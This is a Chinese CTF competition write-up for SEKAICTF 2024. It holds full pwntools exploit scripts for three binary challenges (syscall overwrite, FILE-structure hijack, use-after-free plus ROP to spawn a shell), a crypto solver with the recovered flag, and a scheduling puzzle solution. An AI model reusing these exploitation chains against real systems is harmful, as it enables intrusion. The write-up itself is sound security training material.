本次 SEKAICTF 2024,我们Polaris战队排名第55。
排名 |
队伍 |
总分 |
51 |
dtl |
1003 |
52 |
${cystick} |
974 |
53 |
Kal3 |
973 |
54 |
traP |
939 |
55 |
Polaris |
925 |
56 |
h4tum |
913 |
57 |
Hack@Sec |
903 |
58 |
Slug Security |
877 |
59 |
Zer0Tolerance |
865 |
60 |
Arr3stY0u |
861 |
PWN
nolibc
自己实现的malloc有缺陷,导致我把所有的内存分配得只剩下0x40,然后申请0x3f的时候,造成了溢出,而内存下面相邻的是系统调用号,覆盖后可修改
通过调试发现在load文件的时候,调用了open,可以控制rdi,同时rsi和rdx都是0,正好符合execve(“/bin/sh”,0,0)的要求
exp
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : pwn1.py
@Time : 2024/08/24 13:11:28
@Author : 5ma11wh1t3
@Contact : 197489628@qq.com
'''
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level=True
context.arch='amd64'
elf_path = './main'
debug = 1
if debug:
p = process(elf_path)
else:
remote_addr = 'nolibc.chals.sekai.team:1337'
remote_addr = remote_addr.split(':')
remote_addr[1] = eval(remote_addr[1])
p=remote(remote_addr[0],remote_addr[1],ssl=True)
# ld_path = ''
# libc_path = ''
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def debug():
gdb.attach(p)
pause()
def lg(s,addr = None):
if addr:
print(' 33[1;31;40m[+] %-15s --> 0x%8x 33[0m'%(s,addr))
else:
print(' 33[1;32;40m[-] %-20s 33[0m'%(s))
def register(username,password):
sla(b'Choose an option: ','2')
sla(b'Username: ',username)
sla(b'Password: ',password)
def login(username,password):
sla(b'Choose an option: ','1')
sla(b'Username: ',username)
sla(b'Password: ',password)
def exit():
sla(b'Choose an option: ','3')
def add(size,data):
sla(b'Choose an option: ','1')
sla(b'Enter string length: ',str(size))
sla(b'Enter a string: ',data)
def dele(idx):
sla(b'Choose an option: ','2')
sla(b'Enter the index of the string to delete: ',str(idx))
def show():
sla(b'Choose an option: ','3')
def save(file):
sla(b'Choose an option: ','4')
sla(b'Enter the filename: ',file)
def load(file):
sla(b'Choose an option: ','5')
sla(b'Enter the filename: ',file)
def logout():
sla(b'Choose an option: ','6')
if __name__ == '__main__':
register("admin","123")
login("admin","123")
for i in range(0xaa):
add(0x100, str(i).encode())
add(0x3f, b'0' * 0x30 + p32(0) + p32(1)+p32(59)+p32(3))
debug()
dele(0)
load("/bin/sh")
p.interactive()
speedpwn
根据程序特性泄漏 libc 地址,然后使用 house of cat 完成利用。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
def fight_bot(bit:bool):
sh.sendlineafter(b'> ', b'f')
sh.recvuntil(b'Bot plays ')
value = int(sh.recvuntil(b'!', drop=True))
if bit:
sh.sendlineafter(b': ', b'-1')
else:
sh.sendlineafter(b': ', b'0')
def write_bit(value:int, bit_num:int):
for i in range(bit_num):
if value & 1:
fight_bot(True)
else:
fight_bot(False)
value >>= 1
def write_word(value:int):
write_bit(value, 64)
def reseed():
sh.sendlineafter(b'> ', b'r')
def judge(value:int) -> bool:
sh.sendlineafter(b'> ', b's')
sh.sendlineafter(b'Bot number: ', b'-')
sh.sendlineafter(b'Player number: ', str(value).encode())
sh.recvuntil(b'Simulation result: ')
result = sh.recvuntil(b'!', drop=True)
if (result == b'Bot win'):
return False
elif (result == b'You win'):
return True
sh = remote('speedpwn.chals.sekai.team', 1337, ssl=True)
# Stage one -> leak bit number
bit_number_range = 16
bit_number = 32
while bit_number_range:
value = int('1' * bit_number + '0' * (64-bit_number), 2)
if judge(value):
bit_number -= bit_number_range
bit_number_range //= 2
else:
bit_number += bit_number_range
bit_number_range //= 2
if judge(int('1' * bit_number + '0' * (64-bit_number), 2)) == True:
bit_number -= 1
success('bit_number: ' + str(bit_number))
# Stage two -> leak libc
leak_addr = 0x7000000005c2
start_bit = 12
need_leak_bit = bit_number - bin(leak_addr).count('1')
while need_leak_bit:
if judge((int('1' * (need_leak_bit) + '0', 2) << start_bit) + leak_addr):
start_bit += 1 # 0 Bit
else:
leak_addr += (1 << start_bit)
start_bit += 1 # 1 Bit
need_leak_bit -= 1
libc_addr = leak_addr - 0x955c2
success('libc_addr: ' + hex(libc_addr))
# Stage three -> Hijack IO
payload = flat({0:p16(0x8080) + b';sh0', 0x10:p64(0x404088), 0x18:p64(1), 0x20:p64(2), 0xc0:p64(1), 0xa0:p64(0x404088), 0xd8:p64(libc_addr+0x202228+8), 0xe0:p64(0x404158), 0xe8:p64(libc_addr + 0x58740)}, filler=b'0', length=0xf0)
while payload:
tmp = payload[:8]
write_word(u64(tmp))
payload = payload[8:]
reseed()
sh.interactive()
Life Simulator 2
漏洞1:在 sell_company 函数中,当公司经费为0时,可以被强行出售。此时 company 和 project 都被 free 了,但是 worker 没有被释放,从而导致 UAF漏洞。
漏洞2:在 generate_profit 函数中,当 this->number_of_workers() 是个很大的数时, pow 函数将计算出一个非常大的值,从而使得 generate_profit 函数的返回值溢出,最终使 generate_profit 函数返回 0 。
uint64_t Project::generate_profit() {
return this->profit_per_week * std::pow((long double)PROFIT_RATIO, this->number_of_workers());
}
void Company::elapse_week() {
uint64_t total_profit = 0;
for(auto it : this->projects) {
total_profit += it->generate_profit() - it->worker_pay();
}
this->company_budget += total_profit;
this->company_age += 1;
}
void sell_company(std::istringstream& iss) {
std::string company_name = "";
iss >> company_name;
if(!iss.good()) {
std::cerr << "ERR: Invalid Value" << std::endl;
return;
}
Company *company_to_remove = nullptr;
for(auto it : companies) {
if(it->get_company_name() == company_name) {
company_to_remove = it;
break;
}
}
if(company_to_remove == nullptr) {
std::cerr << "ERR: Not Exist" << std::endl;
return;
}
if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {
std::cerr << "ERR: Not Allowed" << std::endl;
return;
}
total_net_worth += company_to_remove->get_company_budget();
companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
company_to_remove->remove_projects();
delete company_to_remove;
std::cerr << "INFO: Success" << std::endl;
return;
}
综上所述,当申请很多 worker 之后,调用 elapse_week 时,因为利润的结果溢出,其结果始终为0,同时 elapse_week 还会减去每个 worker 的 salary,因此可以通过构造 worker 数量使得 company_budget 为 0,从而为之后 UAF 漏洞创造条件。
利用脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
def add_company(company_name:bytes, company_budget:int):
sh.sendline(b'add_company ' + company_name + b' ' + str(company_budget).encode())
sh.recvuntil(b'INFO: Success')
def sell_company(company_name:bytes):
sh.sendline(b'sell_company ' + company_name)
sh.recvuntil(b'INFO: Success')
def add_project(company_name:bytes, project_name:bytes, project_profit_per_week:int):
sh.sendline(b'add_project ' + company_name + b' ' + project_name + b' ' + str(project_profit_per_week).encode())
sh.recvuntil(b'INFO: Success')
def remove_project(company_name:bytes, project_name:bytes):
sh.sendline(b'remove_project ' + company_name + b' ' + project_name)
sh.recvuntil(b'INFO: Success')
def hire_worker(company_name:bytes, project_name:bytes, worker_name:bytes, salary:int):
sh.sendline(b'hire_worker ' + company_name + b' ' + project_name + b' ' + worker_name + b' ' + str(salary).encode())
sh.recvuntil(b'INFO: Success')
def fire_worker(worker_name:bytes):
sh.sendline(b'fire_worker ' + worker_name)
sh.recvuntil(b'INFO: Success')
def move_worker(worker_name:bytes, project_name:bytes):
sh.sendline(b'move_worker ' + worker_name + b' ' + project_name)
sh.recvuntil(b'INFO: Success')
def worker_info(worker_name:bytes):
sh.sendline(b'worker_info ' + worker_name)
def elapse_week():
sh.sendline(b'elapse_week')
sh = remote('life-simulator-2.chals.sekai.team', 1337, ssl=True)
add_company(b'xmcve', 1000)
add_project(b'xmcve', b'p1', 1000000)
for i in range(40):
hire_worker(b'xmcve', b'p1', b'w' + str(i).encode(), 25)
elapse_week() # Turn company->company_budget to 0
sell_company(b'xmcve')
add_company(b'padding', 1000)
add_company(b'xmcve', 1000)
add_company(cyclic(0x400), 1000)
sell_company(cyclic(0x400))
add_company(b'c0', 1000)
add_company(b'c1', 1000)
add_company(b'c2', 1000)
add_company(b'c3', 1000)
add_company(b'c4', 1000)
add_project(b'c0', b'p0', 1000000)
add_project(b'c1', b'p1', 1000000)
add_project(b'c2', b'p2', 1000000)
add_project(b'c3', b'p3', 1000000)
add_project(b'c4', b'p4', 1000000)
add_company(b'c5', 1000)
hire_worker(b'c0', b'p0', b'c0', 25)
hire_worker(b'c1', b'p1', b'c1', 25)
add_project(b'c5', b'p5', 1000000)
add_project(b'xmcve', b'p0', 1000000)
add_company(cyclic(0x400), 1000)
sell_company(cyclic(0x400))
worker_info(b'w0')
sh.recvuntil(b'Company name: ')
heap_addr = u64(sh.recvn(8)) - 0x165f0
success('heap_addr: ' + hex(heap_addr))
sh.recvn(8)
libc_addr = u64(sh.recvn(8)) - 0x203b30
success('libc_addr: ' + hex(libc_addr))
hire_worker(b'c0', b'p0', b'e' *0xe, 25)
sell_company(b'xmcve')
sell_company(b'c5')
hire_worker(b'c0', b'p0', p64(libc_addr + 0x20ad58) + p64(8) + b'f' *0x28, 25)
hire_worker(b'c2', b'p2', b'c2', 25)
hire_worker(b'c3', b'p3', b'c3', 25)
hire_worker(b'c3', b'p3', b'c33', 25)
worker_info(b'w0')
sh.recvuntil(b'Project name: ')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))
fire_worker(p64(libc_addr + 0x20ad58) + p64(8) + b'f' *0x28)
hire_worker(b'c0', b'p0', p64(libc_addr + 0x20ad58) + p64(8) + b'g' *0x28, 25)
fake_company = flat({
0x30:p64(heap_addr+0x15970), 0x38:p64(heap_addr+0x15978), 0x40:p64(heap_addr+0x15978),
}, filler=b'0', length=0x48)
fake_company_vector_content = flat([heap_addr+0x15980])
fake_project = flat({
0x0:p64(heap_addr+0x15990), 0x8:p64(4), 0x10:b'abcd'.ljust(0x10, b'0'),
0x28:p64(heap_addr+0x10), 0x30:p64(heap_addr+0x10), 0x38:p64(heap_addr+0x10),
}, filler=b'0', length=0x48)
hire_worker(b'c0', b'p0', flat({0x0: fake_company[0x18:], 0x40:fake_company_vector_content, 0x50:fake_project}, filler=b'0', length=0x400), 25)
move_worker(b'w0', b'abcd')
sh.sendline(flat({0x19*2:1, 40*2+0x1f*8:p64(stack_addr-0x4f8)}, filler=b'0', length=0x280))
sh.sendline(flat(
[
0,
libc_addr + 0x000000000002882f,
libc_addr + 0x000000000010f75b,
libc_addr + 0x1cb42f, # "/bin/sh"
libc_addr + 0x58740,
], filler=b'0', length=0x1a0))
sh.interactive()
Crypto
some trick
import random
from secrets import randbelow, randbits
from flag import FLAG
CIPHER_SUITE = randbelow(2**256)
print(f"oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}")
random.seed(CIPHER_SUITE)
GSIZE = 8209
GNUM = 79
LIM = GSIZE**GNUM
def gen(n):
p, i = [0] * n, 0
for j in random.sample(range(1, n), n - 1):
p[i], i = j, j
return tuple(p)
def gexp(g, e):
res = tuple(g)
while e:
if e & 1:
res = tuple(res[i] for i in g)
e >>= 1
g = tuple(g[i] for i in g)
return res
def enc(k, m, G):
if not G:
return m
mod = len(G[0])
return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod
def inverse(perm):
res = list(perm)
for i, v in enumerate(perm):
res[v] = i
return res
G = [gen(GSIZE) for i in range(GNUM)]
FLAG = int.from_bytes(FLAG, 'big')
left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
FLAG = (FLAG << left_pad.bit_length()) + left_pad
FLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
<< FLAG.bit_length()) + FLAG
bob_key = randbelow(LIM)
bob_encr = enc(FLAG, bob_key, G)
print("bob says", bob_encr)
alice_key = randbelow(LIM)
alice_encr = enc(bob_encr, alice_key, G)
print("alice says", alice_encr)
bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G])
print("bob says", bob_decr)
分析代码,先看主体干了什么,发现FLAG被填充前后都被填充了,然后可以很快的发现生成了三段密文,分别是bob_enc,alice_enc,bob_decr,可以看到三段密文都是enc函数生成的,我们去看一下enc函数
def enc(k, m, G):
if not G:
return m
mod = len(G[0])
return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod
观察enc函数,你可以很快的发现首先它是一个递归函数,很明显有一个判断条件,就是当不在G的时候程序停止返回输出,否则他会递归,每次递归的变化如下:
gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod在这里面可以看到有一个gexp函数,我们去看一下这个函数
def gexp(g, e):
res = tuple(g)
while e:
if e & 1:
res = tuple(res[i] for i in g)
e >>= 1
g = tuple(g[i] for i in g)
return res
显而易见你不用管这个函数,首先没随机数,根据你输入的g,e规定,这两个你都知道,所以这个就是对逆输入的G进行变换成为一个新的G,其实这个G就是一个排列,也就是S盒
def gen(n):
p, i = [0] * n, 0
for j in random.sample(range(1, n), n - 1):
p[i], i = j, j
return tuple(p)
然后回到前面的函数你会发现,每次递归需要找到S盒的首行某个值的索引,这里面这个值就是key mod 8209,然后每次递归得到的数据需要乘一下8209在加上S盒索引所对应的值也是就在G中所对应的值,所以我们得到的密文最后会是((((((x8209)+y)8209)+y)8209)+y)……….)8209+y,所以我们的可以根据这个把每次去到的G里面的值都得到,我们要求的就是他的索引,这个索引在enc函数是key mod 8209得到的,所以我们可以反推回去得到key,这里面有个比较关键的地方我们传入的第一个数据必须要是已知明文这样我们才能找key因为明文限制了S盒的生成使用G值的脚本
def key_mod_8029(res):
s=[]
while (res):
s.append(res%8209)
res//=8209
return s
这时候我们只需要稍微修改一下enc脚本使其变成最后加起来的东西只有这些索引就好了,不过要注意的是不要让索引值+在递归函数前面要不然根据运算规则会先从左到右+导致数据加多了去寻找索引就出现问题,数据就有问题了
def dec(k, res, G):
if not G:
return [0]
mod = len(G[0])
return dec(k // mod, res[1:], G[1:])+[gexp(G[0], k % mod).index(res[0])]
然后就是恢复key,根据前面所说的规则生成
def key_replay(res):
a=0
for i in res:
a=a*8209+i
return a
然后我们就能找到alice_key,然后我们去看bob_key,前面也说了需要知道前面的已知明文所以只能用bob_decr去解密然后就知道两个key,那我们去恢复明文,这下子我们知道了key,那我们传入bob_key的话因为整体不是很大8209,我们就可以爆破一下匹配传入每次在gen函数取余传入的明文是多少
def dec1(res,key,G):
a=[]
if not G:
return [0]
for i in range(8209):
if gexp(G[0],i)[key%8209]==res[0]:
print(i)
a.append(i)
return dec1(res[1:],key//8209 ,G[1:])
然后用key_replay函数恢复一下就好了,不过注意下这边得到的数组需要逆向相加,因为我没递归直接返回值,而是生成一个数组,因为知道FLAG是前后有随机数中间可能会有flag在然后爆破一下找低位看到了很像flag的玩意
27887110439548179837945284065479407005671984418227744307030297585766676421518051725820730881303094307602205264926431534545591400990734997978646260585798939930398586856703150064008768662739131299115425991133646456082485455073198522787353032367591607142340524576787860298767828999348122114
b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1Krx02"
b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1Krx02"
b"]xc4xc5x8cdxbfxffxd5x9csxaf+Ixa6xac'xfb&xdax9dxfbxb4x08xdexcd4Txb4x14x97xb3v3x13#F3x16#&x16V&fCx96SC3x966x13x163sC&C#f#x93Sssx93#F#Vx13x13x83#33sx83x03#x8636VCSx96Cvx16Cx93&Cx17xdbxf5Lx04*_xd2xdaExf7xbaToox80ytxb7xe7yxe8xa5xb9x01"
b'.xe2bxc62_xffxeaxce9xd7x95xa4xd3Vx13xfdx93mNxfdxdax04ofx9a*ZnKxd9xbbx19x89x91xa3x19x8bx11x93x0b+x133!xcb)xa1x99xcbx1btx8bx19xb9xa1x93!x91xb3x11xc9xa9xb9xb9xc9x91xa3x11xabtx89xc1x91x99x99xb9xc1x81x91xc3x19x9b+!xa9xcb!xbbx0b!xc9x93!x8bxedxfaxa6x02x15/xe9m"xfbxdd*7xb7xc0<xba[xf3xbcxf4Rxdcx80'
b'x17q1cx19/xffxf5gx1cxebxcaxd2ixabtxfexc9xb6xa7~xedx027xb3Mx15-x05%xecxddx8cxc4xc8xd1x8cxc5x88xc9x85x95x89x99x90xe5x94xd0xccxe5x8dx84xc5x8cxdcxd0xc9x90xc8xd9x88xe4xd4xdcxdcxe4xc8xd1x88xd5x84xc4xe0xc8xccxccxdcxe0xc0xc8xe1x8cxcdx95x90xd4xe5x90xddx85x90xe4xc9x90xc5xf6xfdSx01nx97xf4xb6x91}xeex95x1bxdbxe0x1e]-xf9xdez)n@'
b'x0bxb8x98xb1x8cx97xffxfaxb3x8euxe5i4xd5x84xffdxdbSxbfvx81x1bxd9xa6x8ax96x82x92xf6nxc6bdhxc6bxc4dxc2xcaxc4xccxc8rxcahfrxc6xc2bxc6nhdxc8dlxc4rjnnrdhxc4jxc2bpdffnp`dpxc6fxcaxc8jrxc8nxc2xc8rdxc8bxfb~xa9x80x85Kxfa[Hxbexf7Jx8dxedxf0x0f.x96xfcxef=x14xb7 '
b'x05xdcLXxc6KxffxfdYxc7:xf2xb4x9ajxc2x7fxb2mxa9xdfxbb@x8dxecxd3EKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}xbfTxc0Bxa5xfd-xa4_{xa5Fxf6xf8x07x97K~wx9ex8a[x90'
b'x02xee&,c%xffxfexacxe3x9dyZM5a?xd96xd4xefxddxa0Fxf6ixa2xa5xa0xa4xbdx9bxb1x98x99x1a1x98xb1x190xb2xb132x1cxb2x9ax19x9cxb1xb0x98xb1x9bx9ax192x19x1b1x1cx9ax9bx9bx9cx99x1a1x1axb0x98x9cx19x19x99x9bx9cx18x19x1c1x99xb2xb2x1ax9cxb2x1bxb0xb2x1cx992x18xbexdfxaa`!Rxfex96xd2/xbdxd2xa3{|x03xcbxa5xbf;xcfE-xc8'
b'x01wx13x161x92xffxffVqxcexbcxad&x9axb0x9fxecx9bjwxeexd0#{4xd1Rxd0R^xcdxd8xccLx8dx18xccXx8cx98YXx99x99x0eYMx0cxceXxd8LXxcdxcdx0cx99x0cx8dx98x8eMMxcdxceLx8dx18x8dXLNx0cx8cxccxcdxcex0cx0cx8ex18xccxd9YrNYrxd8Yx0eLx99x0c_oxd50x10xa9x7fKix17xdexe9Qxbdxbex01xe5xd2xdfx9dxe7xa2x96xe4'
b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1Kr"
b"]xc4xc5x8cdxbfxffxd5x9csxaf+Ixa6xac'xfb&xdax9dxfbxb4x08xdexcd4Txb4x14x97xb3v3x13#F3x16#&x16V&fCx96SC3x966x13x163sC&C
b'.xe2bxc62_xffxeaxce9xd7x95xa4xd3Vx13xfdx93mNxfdxdax04ofx9a*ZnKxd9xbbx19x89x91xa3x19x8bx11x93x0b+x133!xcb)xa1x99xcbx1btx8bx19xb9xa1x93!x91xb3x11xc9xa9xb9xb9xc9x91xa3x11xabtx89xc1x91x99x99xb9xc1x81x91xc3x19x9b+!xa9xcb!xbbx0b!xc9x93!x8bxedxfaxa6x02x15/xe9m"xfbxdd*7xb7xc0<xba[xf3xbcxf4Rxdc'
b'x17q1cx19/xffxf5gx1cxebxcaxd2ixabtxfexc9xb6xa7~xedx027xb3Mx15-x05%xecxddx8cxc4xc8xd1x8cxc5x88xc9x85x95x89x99x90xe5x94xd0xccxe5x8dx84xc5x8cxdcxd0xc9x90xc8xd9x88xe4xd4xdcxdcxe4xc8xd1x88xd5x84xc4xe0xc8xccxccxdcxe0xc0xc8xe1x8cxcdx95x90xd4xe5x90xddx85x90xe4xc9x90xc5xf6xfdSx01nx97xf4xb6x91}xeex95x1bxdbxe0x1e]-xf9xdez)n'
b'x0bxb8x98xb1x8cx97xffxfaxb3x8euxe5i4xd5x84xffdxdbSxbfvx81x1bxd9xa6x8ax96x82x92xf6nxc6bdhxc6bxc4dxc2xcaxc4xccxc8rxcahfrxc6xc2bxc6nhdxc8dlxc4rjnnrdhxc4jxc2bpdffnp`dpxc6fxcaxc8jrxc8nxc2xc8rdxc8bxfb~xa9x80x85Kxfa[Hxbexf7Jx8dxedxf0x0f.x96xfcxef=x14xb7'
b'x05xdcLXxc6KxffxfdYxc7:xf2xb4x9ajxc2x7fxb2mxa9xdfxbb@x8dxecxd3EKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}xbfTxc0Bxa5xfd-xa4_{xa5Fxf6xf8x07x97K~wx9ex8a['
b'x02xee&,c%xffxfexacxe3x9dyZM5a?xd96xd4xefxddxa0Fxf6ixa2xa5xa0xa4xbdx9bxb1x98x99x1a1x98xb1x190xb2xb132x1cxb2x9ax19x9cxb1xb0x98xb1x9bx9ax192x19x1b1x1cx9ax9bx9bx9cx99x1a1x1axb0x98x9cx19x19x99x9bx9cx18x19x1c1x99xb2xb2x1ax9cxb2x1bxb0xb2x1cx992x18xbexdfxaa`!Rxfex96xd2/xbdxd2xa3{|x03xcbxa5xbf;xcfE-'
b'x01wx13x161x92xffxffVqxcexbcxad&x9axb0x9fxecx9bjwxeexd0#{4xd1Rxd0R^xcdxd8xccLx8dx18xccXx8cx98YXx99x99x0eYMx0cxceXxd8LXxcdxcdx0cx99x0cx8dx98x8eMMxcdxceLx8dx18x8dXLNx0cx8cxccxcdxcex0cx0cx8ex18xccxd9YrNYrxd8Yx0eLx99x0c_oxd50x10xa9x7fKix17xdexe9Qxbdxbex01xe5xd2xdfx9dxe7xa2x96'
b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1K"
b"]xc4xc5x8cdxbfxffxd5x9csxaf+Ixa6xac'xfb&xdax9dxfbxb4x08xdexcd4Txb4x14x97xb3v3x13#F3x16#&x16V&fCx96SC3x966x13x163sC&C#f#x93Sssx93#F#Vx13x13x83#33sx83x03#x8636VCSx96Cvx16Cx93&Cx17xdbxf5Lx04*_xd2xdaExf7xbaToox80ytxb7xe7yxe8xa5"
b'.xe2bxc62_xffxeaxce9xd7x95xa4xd3Vx13xfdx93mNxfdxdax04ofx9a*ZnKxd9xbbx19x89x91xa3x19x8bx11x93x0b+x133!xcb)xa1x99xcbx1btx8bx19xb9xa1x93!x91xb3x11xc9xa9xb9xb9xc9x91xa3x11xabtx89xc1x91x99x99xb9xc1x81x91xc3x19x9b+!xa9xcb!xbbx0b!xc9x93!x8bxedxfaxa6x02x15/xe9m"xfbxdd*7xb7xc0<xba[xf3xbcxf4R'
b'x17q1cx19/xffxf5gx1cxebxcaxd2ixabtxfexc9xb6xa7~xedx027xb3Mx15-x05%xecxddx8cxc4xc8xd1x8cxc5x88xc9x85x95x89x99x90xe5x94xd0xccxe5x8dx84xc5x8cxdcxd0xc9x90xc8xd9x88xe4xd4xdcxdcxe4xc8xd1x88xd5x84xc4xe0xc8xccxccxdcxe0xc0xc8xe1x8cxcdx95x90xd4xe5x90xddx85x90xe4xc9x90xc5xf6xfdSx01nx97xf4xb6x91}xeex95x1bxdbxe0x1e]-xf9xdez)'
进程已结束,退出代码0
完整exp
import random
from secrets import randbelow, randbits
from Cryptodome.Util.number import *
CIPHER_SUITE =5856735718192672966225212630546045665679020834917236661169743409360745081692
b1 =934535015385784972098018441829301227888268300482554572889937663972835689477317906590269550483816058279675056740632836110427165342116825918458562882459952965524045087097428340305468008069307089535207656651490741013829130388943184449967876591696491662942908809195857190028729699667883172408778919813286215678587
a1 =1200023343219513263382590595000530709398044680494887232151068706332454900457993992785528158990834544878450058108341045830600802696148032561205251770283666006973167393948548197072049425715808993347674584378538883200268601390915839644385525216204736891481357328537881870321049952052453132654798693784947466776387
b2 =1272441200473454987001701625665347128998267676768270586334850447786321082063417203439895347670890554611411858488237562330644466912578982684875984076535384996939506416271097344882332314135242565253987938022938597663163369675849841691494448925864719322424546037485802787986584090093449519504693373904532207187504
'''
bob says 934535015385784972098018441829301227888268300482554572889937663972835689477317906590269550483816058279675056740632836110427165342116825918458562882459952965524045087097428340305468008069307089535207656651490741013829130388943184449967876591696491662942908809195857190028729699667883172408778919813286215678587
alice says 1200023343219513263382590595000530709398044680494887232151068706332454900457993992785528158990834544878450058108341045830600802696148032561205251770283666006973167393948548197072049425715808993347674584378538883200268601390915839644385525216204736891481357328537881870321049952052453132654798693784947466776387
bob says 1272441200473454987001701625665347128998267676768270586334850447786321082063417203439895347670890554611411858488237562330644466912578982684875984076535384996939506416271097344882332314135242565253987938022938597663163369675849841691494448925864719322424546037485802787986584090093449519504693373904532207187504
'''
random.seed(CIPHER_SUITE)
GSIZE = 8209
GNUM = 79
LIM = GSIZE ** GNUM
def gen(n):
p, i = [0] * n, 0
for j in random.sample(range(1, n), n - 1):
p[i], i = j, j
return tuple(p)
def gexp(g, e):
res = tuple(g)
while e:
if e & 1:
res = tuple(res[i] for i in g)
e >>= 1
g = tuple(g[i] for i in g)
return res
def dec(k, res, G):
if not G:
return [0]
mod = len(G[0])
return dec(k // mod, res[1:], G[1:])+[gexp(G[0], k % mod).index(res[0])]
def inverse(perm):
res = list(perm)
for i, v in enumerate(perm):
res[v] = i
return res
G = [gen(GSIZE) for i in range(GNUM)]
def key_mod_8029(res):
a=[]
while (res):
a.append(res%8209)
res//=8209
return a
def key_replay(res):
a=0
for i in res:
a=a*8209+i
return a
def dec1(res,key,G):
a=[]
if not G:
return [0]
for i in range(8209):
if gexp(G[0],i)[key%8209]==res[0]:
print(i)
a.append(i)
return dec1(res[1:],key//8209 ,G[1:])
res = key_mod_8029(a1)
alice_key = key_replay(dec(b1, res, G))
res = key_mod_8029(b2)
bob_key = key_replay(dec(a1, res, [inverse(i) for i in G]))
res = key_mod_8029(b1)
dec1(res, bob_key, G)
a=(1936, 714, 7902, 2862, 958, 7, 4555, 5113, 5926, 3030, 2805, 6103, 3321, 7057, 2739, 2296, 6778, 5992, 2412, 5540, 7484, 5352, 6431, 2590, 6637, 4527, 4162, 5863, 1497, 2802, 4281, 4730, 7675, 1481, 6999, 6708, 1748, 3712, 126, 8111, 8071, 3535, 6725, 6717, 2231, 3087, 6844, 2080, 7716, 3681, 5834, 5903, 5666, 7767, 1112, 4696, 4728, 4675, 4655, 3456, 5558, 3019, 908, 7959, 5845, 2384, 4362, 2173, 5657, 604, 7247, 6713, 307, 5, 0, 0, 0, 0, 0)
FLAG = key_replay(reversed(a))
print(FLAG)
print(long_to_bytes(FLAG))
for i in range(20):
print(long_to_bytes(FLAG>>i))
SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}
Miku vs. Machine
n是人数,m是场数,l是每场演出时间
根据测试用例进行fuzz,发现校验的时候只需要满足每个人歌手的演出时间相同且每场演出换人次数小于等于一即可,演出时间自己定,假设每个歌手的总演出时间为x,那么要满足nx%m==0且ml = nx,所以直接取x=m,l=n,然后每个人依次安排即可
def miku_vs_machine(t, cases):
results = []
for n, m in cases:
a1 = [0 for i in range(n+1)]
idx = 0
t = 1
q = n
print(n)
for i in range(m):
if a1[idx] + n < m:
a1[idx] += n
print(f"{n} {idx+1} 0 {idx+1}")
elif a1[idx] + n >= m:
p = m-a1[idx]
print(f"{p} {idx+1} ",end="")
idx += 1
a1[idx] += n - p
if idx+1>n:
print(f"{a1[idx]} {idx}")
else:
print(f"{a1[idx]} {idx+1}")
t = int(input())
cases = []
for _ in range(t):
n, m = map(int, input().split())
cases.append((n, m))
output = miku_vs_machine(t, cases)
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@wuyua师傅
原文始发于微信公众号(星盟安全):SEKAICTF 2024 Writeup –Polaris战队